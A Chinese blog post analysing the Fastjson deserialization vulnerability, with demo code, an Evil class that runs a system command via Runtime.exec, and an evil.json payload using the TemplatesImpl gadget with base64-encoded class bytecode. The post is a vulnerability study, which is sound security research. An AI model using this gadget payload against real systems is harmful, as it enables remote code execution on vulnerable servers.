亲手带你解决Debug Fastjson的安全漏洞

 更新时间:2020年06月11日 09:38:13   作者:Java架构俱乐部  
这篇文章主要介绍了亲手带你解决Debug Fastjson的安全漏洞,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

简介

Java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,

https://github.com/alibaba/fastjson

Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。

大概在4月18号的时候,fastjson进行了一次安全更新,通告在这里

https://github.com/alibaba/fastjson/wiki/security_update_20170315

当时对这也不熟悉,断断续续看了几天也没什么收获(主要是因为太菜了TAT)。最近有人出了poc以及分析的文章就跟进了一下,漏洞还是挺有意思。

fastjson简单使用介绍

工欲善其事,必先利其器,要想研究这个漏洞,就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。User.java code如下:

testFastJson.java code如下:

package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
        
    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);    
        System.out.println(mapJson);
        
        User user1 = new User();
        user1.setUsername("果汁简历");
        user1.setSex("male");    
        System.out.println("obj name:"+user1.getClass().getName());
        
        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);
        
        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        
        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getUsername());
        System.out.println();
        
        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");
        
        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
        
    }
}

输出是这样

{"key1":"One","key2":"Two"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"果汁简历","sex":"male","username":"果汁简历"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"果汁简历"}
果汁简历

{"Username":"果汁简历","Sex":"male","sex":"male","username":"果汁简历"}
obj name:com.alibaba.fastjson.JSONObject

fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.User

Fastjson漏洞详细

fastjson漏洞出现的地方也就是JSON.parseObject这个方法上面。

在最开始的时候,只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码,像是这样

Evil.java

import java.io.IOException;
 
public class Evil {
 
    public String getName() {
        System.out.println("i am getterName!");
        return name;
    }
 
    public void setName(String name) {
        System.out.println("i am setterName!");
        this.name = name;
    }
 
    public String name;
 
    public int getAge() {
        System.out.println("i am getterAge!");
        return age;
    }
 
    public void setAge(int age) {
        System.out.println("i am setterAge!");
        this.age = age;
    }
 
    private int age;
 
    public Evil() throws IOException{
        System.out.println("i am constructor!");
    }
}
import com.alibaba.fastjson.JSON;
 
import java.io.*;
 
public class App{
    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
        InputStream is = new FileInputStream(filePath);
        String line; // 用来保存每行读取的内容
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        line = reader.readLine(); // 读取第一行
        while (line != null) { // 如果 line 为空说明读完了
            buffer.append(line); // 将读到的内容添加到 buffer 中
            buffer.append("\n"); // 添加换行符
            line = reader.readLine(); // 读取下一行
        }
        reader.close();
        is.close();
    }
    public static void main( String[] args ) throws IOException
    {
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
        Object obj = JSON.parseObject(Buffer.toString());
    }
}

demo.json的内容如下

{
 "@type" : "Evil1",
 "name" : "M0rk",
 "age"  : "20"}

可以看到通过@type"特性",就执行了构造函数以及私有和公有成员变量的getter和setter方法。但是这貌似还并没有达到我们想要的结果,因为上面的情况是需要我们能够控制Evil这个类(一般是通过文件写入),目前来看不太现实。

还有一种方法就是将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class对象。

安全研究人员发现了这个类

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化,注意MailCiousClass需要继承AbstractTranslet(在defineTransle方法中存在一个校验)。更多这个调用链参考链接
https://gist.github.com/frohoff/24af7913611f8406eaf3

 

如上图所示的攻击调用栈信息,可以看到和TemplatesImpl调用链完全吻合,最终还是通过defineclass加载了bytecodes[]导致了命令执行。

Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
 
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
 
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
 
public class poc {
 
    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
 
    }
 
 
    public static void main(String args[]) throws Exception{
//        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
//        String evilCode = readClass(evilClassPath);
//        System.out.println(evilCode);
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
        Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);
 
    }
}

evil.json

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
  "_name" : "M0rk",
  "_tfactory" : {},
  "outputProperties" : {}
}

总结

关于这个漏洞的构造还是挺精巧,漏洞的利用条件比较苛刻,如要能够利用,开发人员对json的处理函数需要是 JSON.parseObject(input, Object.class,
Feature.SupportNonPublicField);

而大部分的开发可能用用JSON.parse(input)就了事儿了,同时使用了parseObject和
Feature.SupportNonPublicField设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求。

到此这篇关于亲手带你解决Debug Fastjson的安全漏洞的文章就介绍到这了,更多相关Debug Fastjson安全漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • JavaCV调用百度AI实现人脸检测方法详解

    JavaCV调用百度AI实现人脸检测方法详解

    在检测人脸数量、位置、性别、口罩等场景时,可以考虑使用百度开放平台提供的web接口,一个web请求就能完成检测得到结果。本文就为大家介绍JavaCV如何调用百度AI实现最简单的人脸检测,需要的可以参考一下
    2022-01-01
  • SpringBoot + vue2.0查询所用功能详解

    SpringBoot + vue2.0查询所用功能详解

    这篇文章主要介绍了SpringBoot + vue2.0查询所用功能,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧
    2023-11-11
  • Java动态规划篇之线性DP的示例详解

    Java动态规划篇之线性DP的示例详解

    这篇文章主要通过几个例题为大家详细介绍一些Java动态规划中的线性DP,文中的示例代码讲解详细,对我们学习Java有一定的帮助,需要的可以参考一下
    2022-11-11
  • java创建多级目录文件的实例讲解

    java创建多级目录文件的实例讲解

    下面小编就为大家分享一篇java创建多级目录文件的实例讲解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-01-01
  • java进阶之了解SpringBoot的配置原理

    java进阶之了解SpringBoot的配置原理

    今天带大家了解SpringBoot的相关知识,文中对SpringBoot的配置原理作了非常详细的图文示例及介绍,需要的朋友可以参考下
    2021-06-06
  • 一文学习Java NIO的ByteBuffer工作原理

    一文学习Java NIO的ByteBuffer工作原理

    很多网友说JDK又在写Bug!下面通过通过本文学习下为何Java NIO的ByteBuffer这么垃圾,涉及到ByteBuf API 的优点及工作原理解析,感兴趣的朋友跟随小编一起看看吧
    2021-05-05
  • SpringBoot项目集成Swagger和swagger-bootstrap-ui及常用注解解读

    SpringBoot项目集成Swagger和swagger-bootstrap-ui及常用注解解读

    这篇文章主要介绍了SpringBoot项目集成Swagger和swagger-bootstrap-ui及常用注解解读,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-03-03
  • 解决在Gradle/IDEA中无法正常使用readLine的问题原因

    解决在Gradle/IDEA中无法正常使用readLine的问题原因

    这篇文章主要介绍了在Gradle/IDEA中无法正常使用readLine的解决方法,原因是由于Gradle的标准输入默认并不与系统标准输入绑定,需手动设置,需要的朋友可以参考下
    2021-12-12
  • Java实现两人五子棋游戏(五) 判断是否有一方胜出

    Java实现两人五子棋游戏(五) 判断是否有一方胜出

    这篇文章主要为大家详细介绍了Java实现两人五子棋游戏,判断是否有一方胜出,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2018-03-03
  • jmeter+ant+jenkins自动化测试环境配置搭建过程

    jmeter+ant+jenkins自动化测试环境配置搭建过程

    在搭建jmeter+ant+jenkins环境有些前提条件,那就是要先配置好java环境、安装好jenkins以及配置好jmeter,这样才能省去很多的事情,对jmeter+ant+jenkins自动化测试环境配置搭建过程感兴趣的朋友一起看看吧
    2021-12-12

最新评论